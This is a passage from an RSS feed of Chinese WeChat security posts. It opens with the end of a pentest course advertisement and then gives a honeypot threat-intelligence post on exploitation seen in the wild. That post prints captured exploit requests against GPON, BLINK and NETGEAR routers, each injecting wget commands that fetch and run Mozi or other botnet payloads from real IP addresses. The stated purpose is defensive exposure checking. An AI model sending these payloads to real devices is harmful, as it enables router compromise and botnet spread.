border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">课程基础框架：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260714203115229" class="rich_pages wxw-img" data-ratio="0.6462962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016965" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=39abf998&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTYwYcTRVpYmwXU3P7icScG95n1BwTTOF7v5VNrjyNauADibPHJBERUibv4KxfOFRqgQSibod2VIvyWuZSYy9bUL2iczHIA7MHBI6KtQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="font-style: normal;font-variant-caps: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-line;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.2em;margin-top: 1em;margin-bottom: 1em;font-weight: bold;line-height: 1.43em;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">课程二：Nday 实战</span></span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">也是 5 节课，只有这一期：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260714203209758" class="rich_pages wxw-img" data-ratio="0.5222222222222223" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016966" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=7dcf48dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTbN9tboZSBWrkuKAmLibHO5Goduzalz44fzlx8o3jYfktpog2yZgiadCVOSFuENWt4ujYwh6p1HLVshwWUONicIdH78Glakk4FibIA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">内容大纲：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260714203348525" class="rich_pages wxw-img" data-ratio="0.5657407407407408" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016968" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=b78557b1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTZhmibFeLzNCqYRzhmHTbbb1bstzk52E3uwOdQPI9sdsx7cw7e6kkwbiaQ6tbQQhIAR0U0SmvXYlySGcI33OBgoQTywNtbu2L8Go%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="font-style: normal;font-variant-caps: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-line;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.2em;margin-top: 1em;margin-bottom: 1em;font-weight: bold;line-height: 1.43em;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">课程三：内网渗透</span></span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">也是 5 节课，如图：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260714203447936" class="rich_pages wxw-img" data-ratio="0.5212962962962963" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016969" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=14637ca4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTbFIOQPicAXarbLib3icLchhEeKJSewZrGPekxWLibn9tJZrh0BrQkzyJ5eibNwyJhRWlgcic8DK3RNibx2hQmBpD8rceIoZyWPIE7y9E%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="font-style: normal;font-variant-caps: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-line;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.2em;margin-top: 1em;margin-bottom: 1em;font-weight: bold;line-height: 1.43em;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">课程四：脚本开发</span></span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">共计 18 节课</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260714203719394" class="rich_pages wxw-img" data-ratio="0.5305555555555556" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016970" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=1badeeb3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FVnwOz8XYCTa8KzNMsibrZLOm2ibhTCJbzenq2fV31o9uGs6dLh1vLoic2jAzAFhTv0MKpWepBicCIicEBE4c6MQTHmcJS18ngJpqO1ibI4Kf96pOg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="font-style: normal;font-variant-caps: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-line;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.2em;margin-top: 1em;margin-bottom: 1em;font-weight: bold;line-height: 1.43em;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">课程五：渗透测试实训</span></span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">共 14 节课</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260714204114474" class="rich_pages wxw-img" data-ratio="0.5351851851851852" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016972" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=67755c3d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTbk2VY3NFu6EVw13EKjdKbuibMa6ibVuhhpxEeT1I1CfCbcxyD2etKXbs3O75Q7ZHVUNP3xpdq5caTz3Kh83iaPrQ2NZwiano6k2HM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="font-style: normal;font-variant-caps: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-line;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.2em;margin-top: 1em;margin-bottom: 1em;font-weight: bold;line-height: 1.43em;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">其他杂项</span></span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><img alt="image-20260714204159989" class="rich_pages wxw-img" data-ratio="0.49537037037037035" data-type="png" data-w="1080" style="box-sizing: border-box;max-width: 100%;vertical-align: middle;image-orientation: from-image;display: block;margin: auto;height: auto !important;" data-imgfileid="100016971" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=c9cfd650&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FVnwOz8XYCTZtK5xyf2J1Vb3Bu9ZicorvK9aO3Hp2IaqVbEDWvwsAGgWQXLx00CrHA6tzIjCtNcpibZhbhzrn5Yq7fZNsuud6yGX9QLKuUNwBc%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 style="font-style: normal;font-variant-caps: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-line;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.2em;margin-top: 1em;margin-bottom: 1em;font-weight: bold;line-height: 1.43em;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">如何查看课程</span></span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">需要满足两个基础条件：</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">1、账号激活状态，新注册用户需要激活，过去注册过成长平台的用户都属于激活状态</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">2、账号处于有效期内，也就是拥有文库的阅读权限</span></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">平台地址：</span></span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 1rem 0px;border-left-width: 5px;border-left-style: solid;border-left-color: rgb(221, 221, 221);padding-left: 0.5em;font-family: &#34;Source Han Serif SC&#34;, serif;color: rgb(85, 85, 85);letter-spacing: 1.5px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0px;margin-bottom: 0px;white-space: normal;width: inherit;"><span leaf=""><a href="https://www.xazlsec.com" target="_blank">https://www.xazlsec.com</a></span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://www.xazlsec.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9f5ab48e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI5MDQ2NjExOQ%3D%3D%26mid%3D2247500624%26idx%3D1%26sn%3D9f325562d1d2ab3da5d72c60bdab6941">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 14 Jul 2026 20:47:00 +0800</pubDate>
    </item>
    <item>
      <title>蜜罐抓到的几个 RCE 漏洞利用情报</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&amp;mid=2247500609&amp;idx=1&amp;sn=7587d82df5f38fbecacec0e73313c22f</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>xazlsec</span> <span>2026-07-04 08:03</span> <span style="display: inline-block;">山西</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=19411d12&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FVnwOz8XYCTZiaep8LabFl5jUXpDGicZ3tGMORBHgBI7iaJ2IBNp9uQMWQbbHveriaicPMjKmibqWUoCD53QUKAqlXw8jCsqaq1Ru8lGVPno1PpkdE%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">最近用 AI 开发了一套分布式蜜罐系统，运行一周后，发现几个僵尸网络最近在用的几个 RCE 漏洞，这是近几年出现的也是成功率比较高的漏洞，分享出来，企业可以根据漏洞情报排查是否存在类似的问题，即使解决，一面被将撕开企业的口子，进入内网。</span></span></p><h3 style="font-style: normal;font-variant-caps: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-line;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.2em;margin-top: 1em;margin-bottom: 1em;font-weight: bold;line-height: 1.43em;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">1、GPON 光纤路由器：身份认证绕过漏洞和命令注入漏洞 CVE-2018-10561</span></span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">捕获到的漏洞利用 POC 如下：</span></span></p><div><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="makefile"><code><span leaf="">POST /GponForm/diag_Form?images/ HTTP/1.1</span></code><br/><code><span leaf=""><span class="code-snippet__section">Host: 127.0.0.1:8080</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">Connection: keep-alive</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">Accept-Encoding: gzip, deflate</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">Accept: */*</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">User-Agent: Hello, World</span></span></code><br/><code><span leaf=""><span class="code-snippet__section">Content-Length: 118</span></span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf="">WebPageName=diag&amp;diag_action=ping&amp;wan_conlist=0&amp;dest_host=``;wget+<a href="http://49.79.167.219:44129/Mozi.m+-O+-" target="_blank">http://49.79.167.219:44129/Mozi.m+-O+-</a>&gt;/tmp/gpon808</span></code><br/></pre></p></div><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">其中利用成功后，下载执行：</span></span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 1rem 0px;border-left-width: 5px;border-left-style: solid;border-left-color: rgb(221, 221, 221);padding-left: 0.5em;font-family: &#34;Source Han Serif SC&#34;, serif;color: rgb(85, 85, 85);letter-spacing: 1.5px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0px;margin-bottom: 0px;white-space: normal;width: inherit;"><span leaf=""><a href="http://49.79.167.219:44129/Mozi.m" target="_blank">http://49.79.167.219:44129/Mozi.m</a></span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">除了漏洞本身，这个下载的脚本地址和恶意文件都属于攻击情报范畴，可以重点防御一下，感兴趣的也可以下载分析一下核心逻辑。</span></span></p><h3 style="font-style: normal;font-variant-caps: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-line;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.2em;margin-top: 1em;margin-bottom: 1em;font-weight: bold;line-height: 1.43em;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">2、利用针对 BLINK 路由器的 CVE-2023-26801 漏洞</span></span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">捕获到的漏洞利用 POC 如下：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">POST</span> /goform/set_LimitClient_cfg HTTP/<span class="code-snippet__number">1</span>.<span class="code-snippet__number">1</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">User</span>-Agent: Go-http-client/<span class="code-snippet__number">1</span>.<span class="code-snippet__number">1</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">Content</span>-Length: <span class="code-snippet__number">100</span></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">Cookie</span>: user=admin</span></code><br/><code><span leaf=""><span class="code-snippet__attribute">Accept</span>-Encoding: gzip</span></code><br/><code><span leaf=""><br/></span></code><br/><code><span leaf=""><span class="code-snippet__attribute">time1</span>=<span class="code-snippet__number">00</span>:<span class="code-snippet__number">00</span>-<span class="code-snippet__number">00</span>:<span class="code-snippet__number">00</span>&amp;time2=<span class="code-snippet__number">00</span>:<span class="code-snippet__number">00</span>-<span class="code-snippet__number">00</span>:<span class="code-snippet__number">00</span>&amp;mac=;wget http://<span class="code-snippet__number">5.182.210.61</span>/ok; chmod <span class="code-snippet__number">777</span> ok; sh ok; rm -rf ok</span></code><br/></pre></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">恶意文件及恶意链接：</span></span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;margin: 1rem 0px;border-left-width: 5px;border-left-style: solid;border-left-color: rgb(221, 221, 221);padding-left: 0.5em;font-family: &#34;Source Han Serif SC&#34;, serif;color: rgb(85, 85, 85);letter-spacing: 1.5px;"><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0px;margin-bottom: 0px;white-space: normal;width: inherit;"><span leaf=""><a href="http://5.182.210.61/ok" target="_blank">http://5.182.210.61/ok</a></span></p></blockquote><h3 style="font-style: normal;font-variant-caps: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: pre-line;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.2em;margin-top: 1em;margin-bottom: 1em;font-weight: bold;line-height: 1.43em;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">3、CVE-2020-27867 NETGEAR 路由器 RCE 漏洞</span></span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: &#34;Source Han Sans SC&#34;, sans-serif;letter-spacing: 1.5px;"><span style="box-sizing: border-box;"><span leaf="">捕获到的漏洞利用 POC 如下：</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">GET</span> /setup.cgi?next_file=netgear.cfg&amp;todo=syscmd&amp;cmd=rm+-rf+/tmp/*;wget+http://<span class="code-snippet__number">202.70.139.79:45723</span>/Mozi.m+-O+/tmp/netgear;sh+netgear&amp;curpath=/&amp;currentsetting.htm=<span class="code-snippet__number">1</span> HTTP/<span class="code-snippet__number">1</span>.<span class="code-snippet__number">1</span></span></code><br/><code></code><br/></pre></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 1rem;margin-bottom: 1rem;width: inherit;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: 